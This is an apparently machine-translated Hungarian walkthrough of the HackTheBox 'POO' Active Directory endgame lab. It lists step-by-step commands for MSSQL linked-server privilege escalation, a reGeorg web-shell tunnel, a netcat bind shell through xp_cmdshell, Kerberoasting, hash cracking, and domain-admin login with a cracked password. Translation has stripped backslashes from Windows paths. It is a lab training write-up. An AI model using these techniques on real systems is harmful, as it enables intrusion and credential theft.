HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Ebben a cikkben nem csak egy gép, hanem egy egész minilaboratórium áthaladását elemezzük a helyszínről HackTheBox.

Ahogy a leírásban szerepel, a POO-t úgy tervezték, hogy tesztelje a képességeket a támadások minden szakaszában egy kis Active Directory környezetben. A cél egy elérhető gazdagép veszélyeztetése, a jogosultságok kiterjesztése, és végül a teljes tartomány veszélyeztetése azáltal, hogy a folyamat során 5 jelzőt gyűjtenek össze.

A kapcsolat a laboratóriummal VPN-en keresztül történik. Javasoljuk, hogy ne csatlakozzon működő számítógépről vagy olyan gazdagépről, ahol fontos adatok vannak az Ön számára, mivel olyanokkal kerülsz privát hálózatba, akik tudnak valamit az információbiztonságról 🙂

szervezeti információk
Azért hoztam létre, hogy új cikkekről, szoftverekről és egyéb információkról tájékozódhasson Távirati csatorna и csoport, hogy megvitassák az esetleges problémákat IIKB területén. Személyes kéréseit, kérdéseit, javaslatait és ajánlásait is Megnézem és mindenkinek válaszolok..

Minden információ kizárólag oktatási célokat szolgál. A jelen dokumentum szerzője nem vállal felelősséget a jelen dokumentum tanulmányozása során szerzett ismeretek és módszerek használatából eredő károkért.

Intro

Ez a végjáték két gépből áll, és 5 zászlót tartalmaz.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Meg van adva az elérhető gazdagép leírása és címe is.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Kezdjük!

Felderítő zászló

Ennek a gépnek 10.13.38.11 IP-címe van, amit hozzáadok az /etc/hosts mappához.
10.13.38.11 poo.htb

Az első lépés a nyitott portok vizsgálata. Mivel az nmap-pal az összes port átvizsgálása sok időt vesz igénybe, először masscan-el fogom megtenni. Az összes TCP és UDP portot átvizsgáljuk a tun0 interfészről 500pp sebességgel.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Most, hogy részletesebb információkat kapjunk a portokon futó szolgáltatásokról, futtassunk egy vizsgálatot az -A kapcsolóval.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Így rendelkezünk IIS és MSSQL szolgáltatásainkkal. Ebben az esetben megtudjuk a tartomány és a számítógép valódi DNS-nevét. A webszerveren az IIS főoldala fogad minket.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Ismételjük át a könyvtárakat. Én ehhez a gobustert használom. A paraméterekben megadjuk a streamek számát 128 (-t), URL-t (-u), szótárt (-w) és a minket érdeklő kiterjesztéseket (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Így van HTTP hitelesítésünk a /admin könyvtárhoz, valamint a .DS_Store asztali szolgáltatás tárolási fájlja. A .DS_Store olyan fájlok, amelyek egy mappához tartozó felhasználói beállításokat tárolják, például a fájlok listáját, az ikonok helyét, a kiválasztott háttérképet. Egy ilyen fájl a webfejlesztők webszerver-könyvtárába kerülhet. Így információt kapunk a címtár tartalmáról. Ehhez használhatja DS_Store bejáró.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Megkapjuk a könyvtár tartalmát. A legérdekesebb itt a /dev könyvtár, amelyből két ágban láthatjuk a forrásokat és a db fájlokat. De használhatjuk a fájl- és könyvtárnevek első 6 karakterét, ha a szolgáltatás sebezhető az IIS ShortName számára. Ezt a sérülékenységet a használatával ellenőrizheti IIS rövid név szkenner.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

És találunk egy szöveges fájlt, amely "poo_co"-val kezdődik. Nem tudtam, hogy mit tegyek ezután, egyszerűen kiválogattam a könyvtárak szótárából az összes "co"-val kezdődő szót.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

És iteráld a wfuzz-szal.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

És találd meg a megfelelő szót! Megnézzük ezt a fájlt, elmentjük a hitelesítő adatokat (a DBNAME paraméter alapján MSSQL-ből származnak).

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Átadjuk a zászlót, és 20%-ot lépünk előre.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Huh zászló

MSSQL-hez csatlakozunk, én DBeavert használok.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Ebben az adatbázisban nem találunk semmi érdekeset, hozzunk létre egy SQL-szerkesztőt, és nézzük meg, mik a felhasználók.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Két felhasználónk van. Vizsgáljuk meg kiváltságainkat.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Így nincsenek kiváltságok. Lássuk a linkelt szervereket, erről a technikáról írtam részletesen itt.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Tehát találunk egy másik SQL Servert. Ellenőrizzük a parancsok végrehajtását ezen a szerveren az openquery() segítségével.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

És még lekérdezőfát is építhetünk.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

A helyzet az, hogy amikor kérést intézünk egy kapcsolt szerverhez, akkor a kérés egy másik felhasználó kontextusában hajtódik végre! Nézzük meg, milyen felhasználói környezetet futtatunk a kapcsolt szerveren.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

És most nézzük meg, milyen kontextusban hajtódik végre a linkelt szervertől a miénkhez érkezett kérés!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Így ez egy DBO-környezet, amelynek minden jogosultsággal rendelkeznie kell. Ellenőrizzük a jogosultságokat egy csatolt szervertől érkező kérés esetén.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Amint látja, minden kiváltságunk megvan! Hozzuk létre az adminunkat így. De nem engedik át őket az openquery-n, hanem az EXECUTE AT-n keresztül.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

És most csatlakozunk az új felhasználó hitelesítő adataihoz, figyeljük az új zászló adatbázist.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Átadjuk ezt a zászlót és megyünk tovább.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Backtrack zászló

Szerezzük meg a shellt MSSQL segítségével, én az mssqlclient-et használom az impacket csomagból.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Jelszavakat kell szereznünk, és az első dolog, amivel már találkoztunk, az az oldal. Így szükségünk van egy webszerver konfigurációra (nem lehet kényelmes shellt dobni, úgy tűnik, a tűzfal működik).

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

De a hozzáférés megtagadva. Bár az MSSQL-ből ki tudjuk olvasni a fájlt, csak tudnunk kell, hogy milyen programozási nyelvek vannak beállítva. És az MSSQL könyvtárban megtudjuk, hogy van Python.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Ekkor nem okoz gondot a web.config fájl elolvasása.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Ha megtalálta a hitelesítő adatokat, lépjen az /admin oldalra, és vegye fel a zászlót.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

lábtartó zászló

Valójában a tűzfal használatából adódik némi kellemetlenség, de a hálózati beállításokat átnézve észrevesszük, hogy IPv6 protokoll is használatos!

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Adja hozzá ezt a címet az /etc/hosts fájlhoz.
dead:babe::1001 poo6.htb
Vizsgáljuk meg újra a gazdagépet, de ezúttal IPv6-on keresztül.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

A WinRM szolgáltatás pedig IPv6-on keresztül érhető el. Lépjünk kapcsolatba a talált hitelesítő adatokkal.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Az asztalon van egy zászló, add át.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

P00d zászló

A felderítés után a házigazdán borsó nem találunk semmi különöset. Aztán úgy döntöttek, hogy újra keresek hitelesítő adatokat (írtam is ebben a témában статью). De nem tudtam az összes SPN-t lekérni a rendszerről WinRM-en keresztül.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Végezzük el a parancsot MSSQL-en keresztül.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Ily módon megkapjuk a p00_hr és p00_adm felhasználók SPN-jét, ami azt jelenti, hogy ki vannak téve egy olyan támadásnak, mint például a Kerberoasting. Röviden: megkaphatjuk a jelszavaik hash-ét.

Először is be kell szereznie egy stabil shellt az MSSQL felhasználó nevében. De mivel korlátozottak a hozzáférésünk, csak a 80-as és az 1433-as portokon keresztül tudunk kapcsolatot teremteni a gazdagéppel. De lehetséges a forgalom alagútvezetése a 80-as porton keresztül! Erre használjuk következő alkalmazás. Töltsük fel a tunnel.aspx fájlt a webszerver kezdőkönyvtárába - C: inetpubwwwroot.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

De amikor megpróbáljuk elérni, 404-es hibát kapunk, ami azt jelenti, hogy az *.aspx fájlok nem futnak le. Az ilyen kiterjesztésű fájlok futtatásához telepítse az ASP.NET 4.5-öt az alábbiak szerint.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

És most, amikor elérjük a tunnel.aspx fájlt, azt a választ kapjuk, hogy minden készen áll.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Indítsuk el az alkalmazás kliens részét, amely a forgalmat továbbítja. Az 5432-es portról az összes forgalmat a szerverre továbbítjuk.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

És proxyláncokat használunk bármely alkalmazás forgalmának a proxyn keresztül történő elküldésére. Adjuk hozzá ezt a proxyt az /etc/proxychains.conf konfigurációs fájlhoz.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Most töltsük fel a programot a szerverre netcat, amellyel egy stabil bind shell-t fogunk készíteni, és a scriptet A Kerberoast meghívása, amellyel a Kerberoasting támadást hajtjuk végre.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Most az MSSQL-en keresztül elindítjuk a figyelőt.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

És a proxyn keresztül csatlakozunk.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

És vegyük a hash-eket.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Ezután ismételnie kell ezeket a hash-eket. Mivel a rockyounak nem volt jelszóadat-szótára, a Seclists-ben található ÖSSZES jelszószótárat használtam. A felsoroláshoz hashcatet használjuk.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

És mindkét jelszót megtaláljuk, az elsőt a dutch_passwordlist.txt szótárban, a másodikat pedig a Keyboard-Combinations.txt fájlban.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

És így van három felhasználónk, megyünk a tartományvezérlőhöz. Először megtudjuk a címét.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Remek, megtanultuk a tartományvezérlő IP-címét. Nézzük meg a domain összes felhasználóját, valamint azt, hogy melyikük adminisztrátor. A szkript letöltéséhez információkért PowerView.ps1. Ezután az evil-winrm segítségével fogunk csatlakozni, a -s paraméterben megadva a szkriptet tartalmazó könyvtárat. Ezután töltse be a PowerView szkriptet.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Mostantól hozzáférünk minden funkciójához. A p00_adm felhasználó privilegizált felhasználónak tűnik, ezért a környezetében fogunk dolgozni. Hozzon létre egy PSCredential objektumot ehhez a felhasználóhoz.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Most minden Powershell-parancs, ahol megadjuk a Creds-t, a p00_adm nevében kerül végrehajtásra. Jelentsük meg a felhasználók listáját és az AdminCount attribútumot.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Így felhasználónk valóban kiváltságos. Lássuk, milyen csoportokhoz tartozik.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Végül megerősítjük, hogy a felhasználó domain rendszergazda. Ez feljogosítja a távoli bejelentkezésre a tartományvezérlőre. Próbáljunk meg bejelentkezni a WinRM-mel az alagútunk segítségével. Megzavartak a reGeorg által az evil-winrm használatakor kiadott hibák.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Akkor használunk egy másikat, könnyebbet, forgatókönyv csatlakozni a WinRM-hez. Nyissa meg és módosítsa a csatlakozási paramétereket.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Megpróbálunk kapcsolódni, és benne vagyunk a rendszerben.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

De nincs zászló. Ezután nézze meg a felhasználót, és ellenőrizze az asztalokat.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Az mr3ks-nál megtaláljuk a zászlót és a laboratórium 100%-ban elkészült.

HackTheBoxendgame. Professzionális támadóműveletek laboratóriumának átadása. Pentest Active Directory

Ez minden. Visszajelzésként írja meg kommentben, hogy tanult-e valami újat ebből a cikkből, és hasznos volt-e az Ön számára.

Csatlakozhat hozzánk a Telegram. Itt érdekes anyagokat, összevont kurzusokat, valamint szoftvereket találhat. Gyűjtsünk egy közösséget, amelyben az informatika számos területéhez értő emberek lesznek, akkor mindig tudunk segíteni egymásnak bármilyen informatikai és információbiztonsági kérdésben.

Forrás: will.com

Hozzászólás